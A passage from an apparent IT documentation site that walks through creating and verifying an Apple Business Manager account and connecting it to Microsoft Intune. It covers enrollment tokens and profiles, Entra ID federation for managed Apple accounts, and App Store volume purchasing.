You need to verify your organization to use the full feature set, like Automated Device Enrollment, App Store volume purchasing and managed Apple IDs.</p>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>Use a dedicated service account for the Apple Business Manager instead of a user email account.
This email address becomes your administrator managed Apple Account.
This ensures that your future access remains independent of specific employees.</p>
</div>
<hr>
<h3 id="create-the-account" tabindex="-1">Create the Account <a class="header-anchor" href="#create-the-account" aria-label="Permalink to &quot;Create the Account&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>Go to <a href="https://business.apple.com/" target="_blank" rel="noreferrer">https://business.apple.com/</a> and select <code>Sign up now</code>, then <code>Get Started</code>.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\intune\apple\BusinessAccount\BusinessAcc1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
<th><img src="\intune\apple\BusinessAccount\BusinessAcc2.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="2">
<li>Enter your information and select <code>Continue</code>.</li>
</ol>
<img src="\intune\apple\BusinessAccount\BusinessAcc3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="3">
<li>Next, create and confirm a password for your new account, then enter your phone number.</li>
</ol>
<div class="warning custom-block"><p class="custom-block-title">IMPORTANT</p>
<p>A one-time verification code is sent to your email address first, then a different code is sent to your phone number.</p>
</div>
<img src="\intune\apple\BusinessAccount\BusinessAcc5.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="4">
<li>Lastly follow the prompts to finish setting up your Apple Business Manager account.</li>
</ol>
<hr>
<h3 id="verify-your-company" tabindex="-1">Verify your company <a class="header-anchor" href="#verify-your-company" aria-label="Permalink to &quot;Verify your company&quot;">&ZeroWidthSpace;</a></h3>
<p>After you created your Apple Business Account you should verify your company, so you can take full advantage of all the features of Apple Business Manager.</p>
<p>Without verifying your organization, you can’t access certain features of Apple Business Manager and Apple Business Essentials (An additional subscription service that provides a few additional features, but nothing important for device management. Learn more <a href="https://www.apple.com/business/essentials/" target="_blank" rel="noreferrer">here</a>):</p>
<table>
<thead>
<tr>
<th>Feature</th>
<th>without verification</th>
<th>with verification</th>
</tr>
</thead>
<tbody>
<tr>
<td>Managed Apple Accounts</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>AppleCare support</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>Domain verification</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>Domain Capture</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Connecting to an identity provider (IdP)</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Federated authentication</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Directory sync</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>Essentials app<br>(This feature is available only with Apple Business Essentials)</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>User Enrolment</td>
<td>✅</td>
<td>✅</td>
</tr>
<tr>
<td>Device Enrollment</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Automated Device Enrollment</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Edit device management service assignments</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Add device management service</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Access beta features</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>iCloud sharing outside the organization</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>iMessage and FaceTime</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Apps and Books Store</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>AppleCare repairs<br>(This feature is available only with Apple Business Essentials)</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>2 TB iCloud storage<br>(This feature is available only with Apple Business Essentials)</td>
<td>❌</td>
<td>✅</td>
</tr>
<tr>
<td>Device plans availability<br>(This feature is available only with Apple Business Essentials)</td>
<td>❌</td>
<td>✅</td>
</tr>
</tbody>
</table>
<div class="info custom-block"><p class="custom-block-title">INFO</p>
<p>Verification can take a few business days, depending on how busy Apple is and whether they can reach the contact you provided.
If your organization isn’t approved in time, Apple will delete the organization and its data.</p>
</div>
<ol>
<li>
<p>Go to <a href="https://business.apple.com/" target="_blank" rel="noreferrer">https://business.apple.com/</a>, sign in and open the settings page.</p>
</li>
<li>
<p>Go to the <a href="https://business.apple.com/#/main/preferences/organizationsettings" target="_blank" rel="noreferrer">Organization Settings</a> and select <code>Verify</code>, then enter your organization’s D-U-N-S (Data Universal Numbering System) Number (To learn more about locating or requesting a D-U-N-S Number click <a href="https://developer.apple.com/help/account/membership/D-U-N-S/" target="_blank" rel="noreferrer">here</a>).</p>
</li>
<li>
<p>Enter the contact information for someone Apple can call to verify your organization. This needs to be a person with authority to speak on behalf of your organization, such as your CEO, CTO or CFO.</p>
</li>
<li>
<p>Now wait and look for an email from Apple Business Manager with the subject “Your enrollment is in review”.
During the review, Apple will contact your verification contact to confirm your information.
Make sure emails from any apple.com address aren’t blocked, and call back quickly if you miss a call so the process can continue.</p>
</li>
</ol>
<img src="\intune\apple\BusinessAccount\system.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>After your organisation is approved, create one additional user with the Administrator role as a backup, so you can recover access if your standard admin account gets lost.
You can create users in the <strong>Users</strong> blade of the Apple Business Manager portal and assign roles via the <strong>Access Mangement</strong> blade, in the main menu.</p>
</div>
<h2 id="connect-apple-business-manager-with-intune" tabindex="-1">🔗 Connect Apple Business Manager with Intune <a class="header-anchor" href="#connect-apple-business-manager-with-intune" aria-label="Permalink to &quot;:link: Connect Apple Business Manager with Intune&quot;">&ZeroWidthSpace;</a></h2>
<p>Connecting an MDM to Apple Business Manager makes it easy to set up and manage Apple devices.
New devices can configure themselves automatically with the right apps and settings, reducing the need for manual work.
It also improves security and ensures your organization keeps control of its devices throughout their lifecycle.</p>
<hr>
<h3 id="connect-apple-business-manager-with-intune-1" tabindex="-1">Connect Apple Business Manager with Intune <a class="header-anchor" href="#connect-apple-business-manager-with-intune-1" aria-label="Permalink to &quot;Connect Apple Business Manager with Intune&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>Open the <strong>Microsoft Intune admin center</strong>, go to <strong>Devices</strong> -&gt; <strong>Enrollment</strong> and open the <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/DevicesMacOsMenu/~/appleEnrollment" target="_blank" rel="noreferrer">Apple tab</a>.</li>
<li>Now select <strong>Apple MDM Push Certificate</strong> and start the configuration.</li>
</ol>
<img src="\intune\apple\ConnectIntune\pushcert_intune1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="3">
<li>First you need to give Microsoft permission to exchange data with Apple.</li>
<li>Next, click on <code>Download your CSR</code> to download the Intune certificate signing request (.csr) file.</li>
<li>Now go to the <a href="https://identity.apple.com/pushcert/" target="_blank" rel="noreferrer">Apple Push Certificates Portal</a> and sign in with the same Apple ID you used for the ABM.</li>
<li>Select <code>Create a Certificate</code> and accept the terms and conditions.</li>
</ol>
<img src="\intune\apple\ConnectIntune\pushcert4.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="7">
<li>Upload the Intune certificate signing request (.csr) file you downloaded earlier and select <code>Upload</code>.</li>
</ol>
<img src="\intune\apple\ConnectIntune\pushcert1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="8">
<li>After the upload is complete, you get a confirmation that the certificate was created successfully. Then download the Apple MDM push certificate (.pem) file.</li>
</ol>
<img src="\intune\apple\ConnectIntune\pushcert2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<img src="\intune\apple\ConnectIntune\pushcert3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="9">
<li>Now back in the Intune portal, enter the Apple ID you used to create the Apple MDM push certificate, upload the .pem file you just downloaded from Apple and click <code>Upload</code>.</li>
<li>After that the status of the Apple MDM Push Certificate should show as <code>Active</code>.</li>
</ol>
<img src="\intune\apple\ConnectIntune\pushcert_intune2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<hr>
<h3 id="configure-automatic-enrollment-token" tabindex="-1">Configure automatic enrollment token <a class="header-anchor" href="#configure-automatic-enrollment-token" aria-label="Permalink to &quot;Configure automatic enrollment token&quot;">&ZeroWidthSpace;</a></h3>
<p>To now set up automatic enrollment for Apple devices, you need to create an enrollment profile in Intune and assign it to the devices in Apple Business Manager.</p>
<ol>
<li>Open the <strong>Microsoft Intune admin center</strong>, go to <strong>Devices</strong> -&gt; <strong>Enrollment</strong> and open the <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/DevicesMacOsMenu/~/appleEnrollment" target="_blank" rel="noreferrer">Apple tab</a>.</li>
<li>Now select <strong>Enrollment program tokens</strong> under the <strong>Bulk Enrollment Methods</strong> and click <code>Create</code>.</li>
</ol>
<img src="\intune\apple\ConnectIntune\AddToken.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="3">
<li>As before you neew to give Microsoft permission to exchange data with Apple and then Download your public key (.pem) file.</li>
<li>Then open the <a href="https://business.apple.com/" target="_blank" rel="noreferrer">ABM portal</a> and go to the <strong>Settings</strong> page.</li>
<li>Under <strong>Device Management Services</strong>, select <strong>Add</strong>.</li>
</ol>
<img src="\intune\apple\ConnectIntune\abmmdm1.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<ol start="6">
<li>Give your new MDM a name, create it, open it and then click <code>Download Token</code>.</li>
</ol>
<img src="\intune\apple\ConnectIntune\abmmdm2.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="300" loading="lazy"/>
<ol start="7">
<li>In the window that appears, you should check the box for the MDM to be able to release devices, then upload the public key (.pem) file you downloaded from Intune and click <code>Save</code>.</li>
</ol>
<img src="\intune\apple\ConnectIntune\abmmdm3.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="8">
<li>
<p>The token you just created should now download and you can upload it back in Intune and enter your AppleID again.</p>
</li>
<li>
<p>Click <code>Next</code>, add Scope Tags if needed and <code>Review + create</code>.</p>
</li>
<li>
<p>Lastly you should go back to the <a href="https://business.apple.com/" target="_blank" rel="noreferrer">ABM Portal</a> and configure your default MDM per device type. You can do that by opening the <strong>settings</strong> page and selecting your MDM for the different device types under <strong>Management Assignment</strong>.</p>
</li>
</ol>
<img src="\intune\apple\Migrating\mdm4.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<hr>
<h3 id="configure-automatic-enrollment-profile" tabindex="-1">Configure automatic enrollment profile <a class="header-anchor" href="#configure-automatic-enrollment-profile" aria-label="Permalink to &quot;Configure automatic enrollment profile&quot;">&ZeroWidthSpace;</a></h3>
<ol>
<li>Now that you have created the enrollment token, and the Status in the Intune Portal is <strong>Active</strong>, you can create an enrollment profile by clicking on the token in the list.</li>
</ol>
<img src="\intune\apple\ConnectIntune\EnrollmentToken.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
<img src="\intune\apple\ConnectIntune\Profile1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
<ol start="2">
<li>Click on <strong>Profiles</strong>, then click <code>Create profile</code> and select if you want to create an <strong>iOS/iPadOS</strong> or <strong>macOS</strong> profile.</li>
</ol>
<img src="\intune\apple\ConnectIntune\Profile2.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
<ol start="3">
<li>
<p>Now give your profile a name and description, then click <code>Next</code>.</p>
</li>
<li>
<p>In the <strong>Management Settings</strong> section, you can configure how your devices should enroll.</p>
</li>
</ol>
<table>
<thead>
<tr>
<th>iOS/iPadOS Profile</th>
<th>macOS Profile</th>
</tr>
</thead>
<tbody>
<tr>
<td><img src="\intune\apple\ConnectIntune\iosProfile1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/></td>
<td><img src="\intune\apple\ConnectIntune\macProfile1.png" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/></td>
</tr>
</tbody>
</table>
<ul>
<ul>
<li><b>User affinity:</b> You can enroll with <b>user affinity</b> or <b>without user affinity</b>. iOS/iPadOS devices can additionally enroll in <b>shared Entra mode</b>.</li>
<li><b>Authentication Method:</b> You can choose between <b>Setup Assistant (legacy)</b> or <b>Setup Assistant with modern authentication</b>. iOS/iPadOS devices can additionally use the <b>Company Portal</b>.</li>
<li><b>Locked enrollment:</b> Prevents the user from removing the management profile through system preferences or terminal.</li>
<li><b>Await final configuration:</b> Pauses and locks Setup Assistant before the home screen so Intune can finish applying critical settings.</li>
</ul>
</ul>
<ol start="5">
<li>In the <strong>Setup Assistant</strong> section, you can enter the Department and Phone Number you want to show up for the end user. You can also choose which Setup Assistant screens to show or hide during device enrollment.</li>
</ol>
<img src="\intune\apple\ConnectIntune\macProfile4.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<p>Example:</p>
<img src="\intune\apple\ConnectIntune\macProfile5.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/>
<ol start="6">
<li>In the macOS profile you can also configure additional <strong>Account Settings</strong>, for a potential local admin and user account on the device.</li>
</ol>
<img src="\intune\apple\ConnectIntune\macProfile6.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="7">
<li>Then click <code>Next</code> and <code>Review + create</code>.</li>
<li>In the Profile you can now, next to the automatically assigned devices, also manually assign devices that are already in Intune.</li>
</ol>
<img src="\intune\apple\ConnectIntune\ProfileAssignDevice1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="9">
<li>If you now go back to the Profiles list directly under the Enrollment token, you can also set default profiles for iOS/iPadOS and macOS.</li>
</ol>
<img src="\intune\apple\ConnectIntune\Profiledefault.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<hr>
<h3 id="configure-enrollment-type-notifications-restrictions" tabindex="-1">Configure enrollment Type &amp; Notifications &amp; Restrictions <a class="header-anchor" href="#configure-enrollment-type-notifications-restrictions" aria-label="Permalink to &quot;Configure enrollment Type &amp; Notifications &amp; Restrictions&quot;">&ZeroWidthSpace;</a></h3>
<p>If you additionally want configure a default enrollment method for non automated enrollments you can create an enrollment type profile.</p>
<ol>
<li>Open the <strong>Microsoft Intune admin center</strong>, go to <strong>Devices</strong> -&gt; <strong>Enrollment</strong> and open the <strong>Enrollment type profile</strong>.</li>
<li>Here you can create a profile with the default enrollment method.</li>
</ol>
<img src="\intune\apple\ConnectIntune\EnrollType.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<p>Or you can set restrictions to which devices can enroll in the first place.</p>
<ol>
<li>Open the <strong>Microsoft Intune admin center</strong>, go to <strong>Devices</strong> -&gt; <strong>Enrollment</strong> and open the <a href="https://intune.microsoft.com/#view/Microsoft_Intune_Enrollment/DeviceTypeRestrictions.ReactView" target="_blank" rel="noreferrer">Enrollment restrictions</a> or <strong>Enrollment Type Restriction</strong>.</li>
<li>Here you can set per platform if it is allowed at all, if personally owned devices are allowed and which version they need to have.</li>
</ol>
<img src="\intune\apple\ConnectIntune\enrollmentrestrictions.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<p>If you want to set additional notification about enrollments you can also do that.</p>
<ol>
<li>Open the <strong>Microsoft Intune admin center</strong>, go to <strong>Devices</strong> -&gt; <strong>Enrollment</strong> and open the <a href="https://intune.microsoft.com/#view/Microsoft_Intune_Enrollment/AppleDENotificationsListBlade/platformType/iOS" target="_blank" rel="noreferrer">Enrollment notifications</a> in the <strong>Apple</strong> tab.</li>
<li>Here you can configure push and email notifications.</li>
</ol>
<img src="\intune\apple\ConnectIntune\enrollmentnotification.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<h2 id="adding-managed-apple-devices" tabindex="-1">📱 Adding managed Apple devices <a class="header-anchor" href="#adding-managed-apple-devices" aria-label="Permalink to &quot;:iphone: Adding managed Apple devices&quot;">&ZeroWidthSpace;</a></h2>
<p>Adding your <span style="color:crimson">devices</span> to the Apple Business Manager makes sure the devices are <span style="color:crimson">bound to your company</span> while also allowing you to <span style="color:crimson">automatically enroll them in your MDM</span> solution during the setup process.
For this Apple provides the Automated Device Enrollment (ADE), formerly known as Device Enrollment Program (DEP).
Here your <span style="color:crimson">reseller or carrier can directly add the devices to your ABM account</span> during the purchase process, so your devices are automatically enrolled in Intune when they are unboxed and powered on for the first time.
Like this you can send the devices directly from the reseller to end users <span style="color:crimson">without having to manually do anymore configuration</span>.</p>
<ol>
<li>To start adding devices to your Apple Business Manager account, go to the <a href="https://business.apple.com/" target="_blank" rel="noreferrer">ABM portal</a> and open the <strong>Devices</strong> page.</li>
<li>Here you first need to add your <strong>Apple Customer Number</strong> to be able to add devices that you purchased or the <strong>Reseller Number</strong> so your reseller adds new devices on your behalf automatically.</li>
</ol>
<img src="\intune\apple\Device\dev.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/>
<ol start="3">
<li>As soon as you have added devices to your ABM Account, you can assign them to an MDM solution (if you didn't set a default one already), release them from your org for reselling or turn off an activation lock.</li>
</ol>
<img src="\intune\apple\Device\DeviceApple.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
<ol start="4">
<li>After assigning devices to Intune, they should show up in the Intune portal under <strong>Devices</strong> -&gt; <strong>iOS/iPadOS</strong> or <strong>macOS</strong>.</li>
<li>If you added an enrollment profile in the previous step, they will also automatically get that profile assigned.</li>
</ol>
<img src="\intune\apple\Device\DeviceIntune.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
<h2 id="managed-apple-accounts" tabindex="-1">🍎 Managed Apple accounts <a class="header-anchor" href="#managed-apple-accounts" aria-label="Permalink to &quot;:apple: Managed Apple accounts&quot;">&ZeroWidthSpace;</a></h2>
<p>Using an Apple device you <span style="color:crimson">need an Apple ID</span>. For personal devices, users usually create their own Apple ID, but <span style="color:crimson">for corporate devices</span> this is not a good idea.
If you allow this, you not only lose control over this part of your identitiy management and the security that this provides, but also create an unnecessary barrier for your users when they enroll their devices.
You risk, your data getting out or saved to personal storage or mail accounts, creating potential data privacy compliance issues or simply who pays for needed apps and how this gets handelt by accounting.
All unnecessary if you <span style="color:crimson">use Managed Apple IDs</span>. This can easily be done <span style="color:crimson">by federating your Entra ID with Apple Business Manager</span>. With this your users just use there already existing credentials for there Apple devices.</p>
<ol>
<li>Open the <a href="https://business.apple.com/" target="_blank" rel="noreferrer">ABM portal</a>,go to the <strong>Settings</strong> page and select <strong>Managed Apple Accounts</strong>.</li>
<li>Here you find your automatically generated apple domain and you can start the federation process by clicking <code>Get Started</code>.</li>
</ol>
<img src="\intune\apple\Federation\fed1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="900" loading="lazy"/>
<ol start="3">
<li>Next you select your Identity Provider of choice, in our case <code>Microsoft Entra ID</code> and select <code>Sign in with Microsoft</code>.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\intune\apple\Federation\fed2.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
<th><img src="\intune\apple\Federation\fed3.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="4">
<li>After signing in you need to consent to a view permission for the Apple Business Manager and then your Entra ID will be connected.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\intune\apple\Federation\fed4.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
<th><img src="\intune\apple\Federation\fed5.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="5">
<li>Now you see your newly federated domains in the list at the bottom of the page. Next to these you can click on <code>Manage</code> to turn on federation for the specific domains.</li>
</ol>
<img src="\intune\apple\Federation\fed6.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="6">
<li>You click next to <strong>Sign in witch Microsoft Entra ID</strong> on <code>Set up</code>, the status will then change to <strong>Turning on Federation</strong> and shortly after it will be <strong>toggled on</strong>.</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\intune\apple\Federation\fed8.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
<th><img src="\intune\apple\Federation\fed9.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
<th><img src="\intune\apple\Federation\fed10.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="400" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="6">
<li>Now that your domains are federated, you need to add your user accounts to the ABM directory and for that you can enable the automatic account syncing, which will create your existing Entra users automatically in ABM as Managed Apple IDs.
For this you click under <strong>Directory Sync</strong> on the 3 dots to the right and select <code>Connect</code>.</li>
</ol>
<img src="\intune\apple\Federation\fed7.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<img src="\intune\apple\Federation\fed11.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<img src="\intune\apple\Federation\fed12.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="7">
<li>After the sync is done you can find the processed accounts info in your Activity blade.</li>
</ol>
<img src="\intune\apple\Federation\fed13.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<ol start="8">
<li>And you find your users in the <strong>Users</strong> blade. Your users can start using their Entra accounts now as Apple IDs.</li>
</ol>
<img src="\intune\apple\Federation\fed14.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="700" loading="lazy"/>
<h2 id="app-store-volume-purchasing" tabindex="-1">🛒 App Store volume purchasing <a class="header-anchor" href="#app-store-volume-purchasing" aria-label="Permalink to &quot;:shopping_cart: App Store volume purchasing&quot;">&ZeroWidthSpace;</a></h2>
<p>With the ABM you can also <span style="color:crimson">buy apps and books centrally</span> in volume without the hassle of individual purchases or distributing credit card infos to your users.
It’s called the Volume Purchase Program (<span style="color:crimson">VPP</span>). It <span style="color:crimson">lets your organization retain ownership of purchased apps</span> instead of tying them to individual accounts, making it easy to reassign licenses to other users.</p>
<ol>
<li>To use the VPP with your MDM you must first connect it. For that you open the <a href="https://business.apple.com/" target="_blank" rel="noreferrer">ABM portal</a>, go to the <strong>settings page</strong> -&gt; <strong>Payments and Billing</strong>.
Here you can activate the <strong>Content Token</strong> and download the token file (.vpptoken). On this page you would also enter payment information for purchasing payed apps.</li>
</ol>
<div class="tip custom-block github-alert"><p class="custom-block-title">TIP</p>
<p>You don`t need to enter any payment information for free apps.</p>
</div>
<img src="\intune\apple\VPP\Payment.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="2">
<li>Now open the <strong>Microsoft Intune admin center</strong>, go to <strong>Tenant administration</strong> -&gt; <strong>Connectors and tokens</strong> -&gt; <a href="https://intune.microsoft.com/#view/Microsoft_Intune_DeviceSettings/TenantAdminConnectorsMenu/~/appleVpp" target="_blank" rel="noreferrer">Apple VPP Tokens</a> and click <code>Create</code>.</li>
<li>Enter a name for the <strong>token</strong>, the <strong>Apple ID</strong> you used to create the token and upload the <strong>.vpptoken</strong> file you downloaded from ABM and click <code>Next</code>.</li>
</ol>
<img src="\intune\apple\VPP\CreateToken1.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="4">
<li>On the next page you choose your <strong>Contry/Region</strong> and your <strong>Type of VPP account</strong> (Depending if you use the Apple Business Manager (Business) or Apple School Manager(Education)).
In addition to that you can toggle if this token was used before by another MDM solution and Intune should take control (so you can continue using all the licenses seemlessly) and
if you like, Automatic app updates. Then you also need to grant Microsoft the permission to exchange data with Apple, so it can send and receive data from ABM.</li>
</ol>
<img src="\intune\apple\VPP\CreateToken2.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="600" loading="lazy"/>
<ol start="5">
<li>When you proceed to the next pages you can add scope tags and hit <code>Review + create</code>.</li>
</ol>
<img src="\intune\apple\VPP\CreateToken3.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<ol start="6">
<li>
<p>When you now go back to the ABM and select <strong>Locations</strong> you need to add a Location first, to assign apps.</p>
</li>
<li>
<p>If you select <strong>Apps and Book</strong> in the main menu then, you can find all your purchases there.
To find and buy new apps you just enter the name in the search bar, select the location, the quantity and click <code>Get</code>.</p>
</li>
</ol>
<table>
<thead>
<tr>
<th><img src="\intune\apple\VPP\BoughtApps.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
<th><img src="\intune\apple\VPP\AppSelection.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="500" loading="lazy"/></th>
</tr>
</thead>
</table>
<ol start="8">
<li>After every buy the admin gets a mail with your purchase confirmation.</li>
</ol>
<img src="\intune\apple\VPP\PurchaseMail.png" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<ol start="9">
<li>If you then go back to the <strong>Intune admin center</strong> the apps will automatically get synced to the <strong>Apps</strong> page with the Type <strong>iOS volume purchase program app</strong> (the platform at the start, changes with the type of app you purchased) and you can assign them to your devices or users.</li>
</ol>
<img src="\intune\apple\VPP\AppsIntune.jpg" style="float: normal; margin-right: 1em; margin-left: 1em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="800" loading="lazy"/>
<h2 id="device-management-through-intune" tabindex="-1">⚙️ Device Management through Intune <a class="header-anchor" href="#device-management-through-intune" aria-label="Permalink to &quot;:gear: Device Management through Intune&quot;">&ZeroWidthSpace;</a></h2>
<p>Now that you got an Apple Account, connected it to Intune, got your managed apple id's, got your devices in and connected VPP, you can start the managing.
Here now is no difference anymore between these devices and other corporate managed apple devices you might have added before via Company Portal or Apple Configurator.</p>
<img src="\intune\apple\DeviceManagement\DevicePage.jpg" style="float: normal; margin-right: 1em; margin-left: 0em; margin-top: 1em; margin-bottom: 1em" alt="drawing" width="1000" loading="lazy"/>
